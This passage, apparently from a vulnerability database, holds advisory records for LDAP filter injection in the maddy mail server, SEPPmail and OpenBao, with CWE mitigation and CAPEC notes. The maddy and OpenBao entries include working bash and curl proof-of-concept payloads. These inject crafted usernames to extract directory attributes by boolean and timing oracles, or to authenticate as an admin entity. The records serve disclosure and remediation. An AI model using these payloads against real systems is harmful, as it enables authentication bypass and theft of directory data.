account\u0027s LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.\n\n```bash\n# Scenario: attacker knows bob\u0027s password (\"bob_pass\").\n# Goal: extract bob\u0027s \"description\" attribute value one character at a time.\n#\n# Injected username: bob)(description=S*\n# Resulting filter: (\u0026(objectClass=inetOrgPerson)(uid=bob)(description=S*))\n#\n# If bob\u0027s description starts with \"S\" \u2192 filter matches 1 entry (bob)\n# \u2192 conn.Bind(bob_DN, \"bob_pass\") succeeds \u2192 235 (SUCCESS)\n# If not \u2192 filter matches 0 entries \u2192 535 (FAILURE)\n#\n# By iterating characters, the attacker reconstructs the full attribute value.\n\n# Test: does bob\u0027s description start with \"S\"?\nINJECTED=\u0027bob)(description=S*\u0027\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet \u003c\u003cEOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# 235 \u2192 yes, starts with \"S\"\n\n# Narrow: does it start with \"Se\"?\nINJECTED=\u0027bob)(description=Se*\u0027\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\n# ... repeat until full value is extracted\n\n# This works for ANY LDAP attribute: userPassword hashes, mail,\n# telephoneNumber, memberOf, etc.\n```\n\nFor extracting attributes of **other users** (whose password the attacker does not know), a timing side-channel is used instead. The `AuthPlain()` function has two distinct failure paths:\n\n- **0 entries matched** (line 270): returns `ErrUnknownCredentials` immediately \u2014 **fast**\n- **1 entry matched, bind fails** (line 275): performs `conn.Bind()` over the network, then returns \u2014 **slow** (adds LDAP bind round-trip latency)\n\nBoth return SMTP `535`, but the timing difference is measurable:\n\n```bash\n# Target: extract alice\u0027s \"description\" attribute.\n# Attacker does NOT know alice\u0027s password.\n#\n# Injected username: alice)(description=S*\n# Resulting filter: (\u0026(objectClass=inetOrgPerson)(uid=alice)(description=S*))\n#\n# If alice\u0027s description starts with \"S\":\n# \u2192 1 match \u2192 conn.Bind(alice_DN, \"wrong\") \u2192 bind fails \u2192 535 (SLOW)\n# If not:\n# \u2192 0 matches \u2192 immediate 535 (FAST)\n#\n# Timing delta \u2248 LDAP bind RTT (typically 1-10ms on LAN, more over WAN)\n\nfor c in {a..z} {A..Z} {0..9}; do\n INJECTED=\"alice)(description=${c}*\"\n AUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00wrong\" | base64)\n START=$(date +%s%N)\n echo -e \"EHLO test\\r\\nAUTH PLAIN ${AUTH_BLOB}\\r\\nQUIT\\r\\n\" | \\\n openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2\u003e/dev/null\n END=$(date +%s%N)\n ELAPSED=$(( (END - START) / 1000000 ))\n echo \"char=\u0027$c\u0027 time=${ELAPSED}ms\"\ndone\n# Characters with significantly longer response times indicate a filter match.\n```\n\n### Impact\n\n**Who is affected:** Any maddy deployment that uses the `auth.ldap` module with either the `filter` or `dn_template` directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.\n\n**What an attacker can do:**\n\n1. **Identity spoofing:** An attacker who knows any valid user\u0027s password can authenticate using an injected username that resolves to that user\u0027s DN via LDAP filter manipulation. The authenticated session identity (`connState.AuthUser` in SMTP, `username` passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.\n\n2. **LDAP directory enumeration:** By injecting wildcard filters (`*`) and observing error responses (e.g., \"too many entries\" vs. \"unknown credentials\"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.\n\n3. **Attribute value extraction via boolean-based blind injection:** An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., `bob)(description=X*`) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.\n\n4. **DN template path traversal:** When `dn_template` is used instead of `filter` (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.\n\n### Credit\n\n[Yuheng Zhang](mailto:zhangyuh25@mails.tsinghua.edu.cn), [Zihan Zhang](mailto:zzh1032@sjtu.edu.cn), [Jianjun Chen](mailto:jianjun@tsinghua.edu.cn) and [Teatime Lab LTD.](mailto:research@teatimelab.com)",
"id": "GHSA-5835-4gvc-32pc",
"modified": "2026-04-16T21:57:25Z",
"published": "2026-04-13T19:22:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40193"
},
{
"type": "WEB",
"url": "https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba"
},
{
"type": "PACKAGE",
"url": "https://github.com/foxcpp/maddy"
},
{
"type": "WEB",
"url": "https://github.com/foxcpp/maddy/releases/tag/v0.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username"
}
GHSA-69RR-JVGQ-G678
Vulnerability from github – Published: 2026-04-02 09:30 – Updated: 2026-04-16 21:31SEPPmail Secure Email Gateway before version 15.0.3 allows attackers with a specially crafted email address to read the contents of emails encrypted for other users.
{
"affected": [],
"aliases": [
"CVE-2026-29131"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T09:16:21Z",
"severity": "MODERATE"
},
"details": "SEPPmail Secure Email Gateway before version 15.0.3 allows attackers with a specially crafted email address to read the contents of emails encrypted for other users.",
"id": "GHSA-69rr-jvgq-g678",
"modified": "2026-04-16T21:31:09Z",
"published": "2026-04-02T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29131"
},
{
"type": "WEB",
"url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure-1503"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6MWX-4547-5VC9
Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:421. Description
Component
sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.
Root Cause
The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():
// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)
// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)
The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.
LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.
The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.
Exploitation Mechanics
Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
^^ injection point
The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:
- sAMAccountName=alice AND objectClass=user AND objectClass=*
Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.
Preconditions
- LDAP authentication backend must be configured
- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
- Attacker controls the
usernamefield at login time
2. Proof of Concept
# Login with LDAP injection payload as username
curl -k -X POST \
-H "Content-Type: application/json" \
-d '{
"username": "alice)(sAMAccountName=*",
"password": "anything"
}' \
https://localhost:8200/v1/auth/ldap/login/admin
# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
# injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies
The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.
3. Impact
| Impact | Detail |
|---|---|
| Confidentiality | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |
| Integrity | Ability to modify secrets, write policies, or configure backends as the impersonated user |
| Availability | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |
Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.
Why This Is High Severity
The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.
4. Remediation
Primary Fix: Use ldap.EscapeFilter
Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:
import "github.com/go-ldap/ldap/v3"
// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)
// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)
EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.
Audit: All Call Sites
Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter context:
grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/
Defense-in-Depth
- Apply the principle of least privilege to LDAP service accounts used by OpenBao
- Use
UserFilterwith explicit attribute constraints to limit the search scope
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"last_affected": "2.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260617104213-10b7825c714c"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55770"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:42:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## 1. Description\n\n### Component\n\n`sdk/helper/ldaputil/client.go` \u2014 the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.\n\n### Root Cause\n\nThe LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`:\n\n```go\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", EscapeLDAPValue(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)\n```\n\nThe problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `\"`, `\\`, `\u003c`, `\u003e`, and leading/trailing spaces.\n\nLDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\\`, and NUL (`\\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package.\n\nThe irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function.\n\n### Exploitation Mechanics\n\n```\nUsername: alice)(objectClass=*\n\u2193 EscapeLDAPValue (no-op \u2014 no DN special chars)\nalice)(objectClass=*\n\u2193 fmt.Sprintf(\"(\u0026(objectClass=user)(sAMAccountName=%s))\", escapedUsername)\n(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))\n ^^ injection point\n```\n\nThe filter `(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to:\n- `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*`\n\nSince all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries.\n\n### Preconditions\n\n- LDAP authentication backend must be configured\n- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding\n- Attacker controls the `username` field at login time\n\n## 2. Proof of Concept\n\n```bash\n# Login with LDAP injection payload as username\ncurl -k -X POST \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"username\": \"alice)(sAMAccountName=*\",\n \"password\": \"anything\"\n }\u0027 \\\n https://localhost:8200/v1/auth/ldap/login/admin\n\n# LDAP filter constructed:\n# (\u0026(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))\n# injection \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500^\n# The filter matches the first user with objectClass=user\n# If the LDAP server returns admin\u0027s entry first, the token\n# is bound to the admin entity, inheriting all admin policies\n```\n\nThe LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user \u2014 potentially an administrative account.\n\n## 3. Impact\n\n| Impact | Detail |\n|--------|--------|\n| **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |\n| **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user |\n| **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |\n\n**Likelihood: HIGH** \u2014 the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`.\n\n### Why This Is High Severity\n\nThe LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.\n\n## 4. Remediation\n\n### Primary Fix: Use ldap.EscapeFilter\n\nReplace `EscapeLDAPValue` with `ldap.EscapeFilter` in both filter construction paths:\n\n```go\nimport \"github.com/go-ldap/ldap/v3\"\n\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", ldap.EscapeFilter(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)\n```\n\n`EscapeLDAPValue` is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use `ldap.EscapeFilter`.\n\n### Audit: All Call Sites\n\nReview all usages of `EscapeLDAPValue` across the codebase to ensure none are used in filter context:\n\n```bash\ngrep -rn \"EscapeLDAPValue\" /root/cve-audit/openbao/\n```\n\n### Defense-in-Depth\n\n- Apply the principle of least privilege to LDAP service accounts used by OpenBao\n- Use `UserFilter` with explicit attribute constraints to limit the search scope",
"id": "GHSA-6mwx-4547-5vc9",
"modified": "2026-06-19T21:42:01Z",
"published": "2026-06-19T21:42:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/pull/3306"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659"
},
{
"type": "PACKAGE",
"url": "https://github.com/openbao/openbao"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenBao: LDAPi ldaputil (wrong escape func)"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.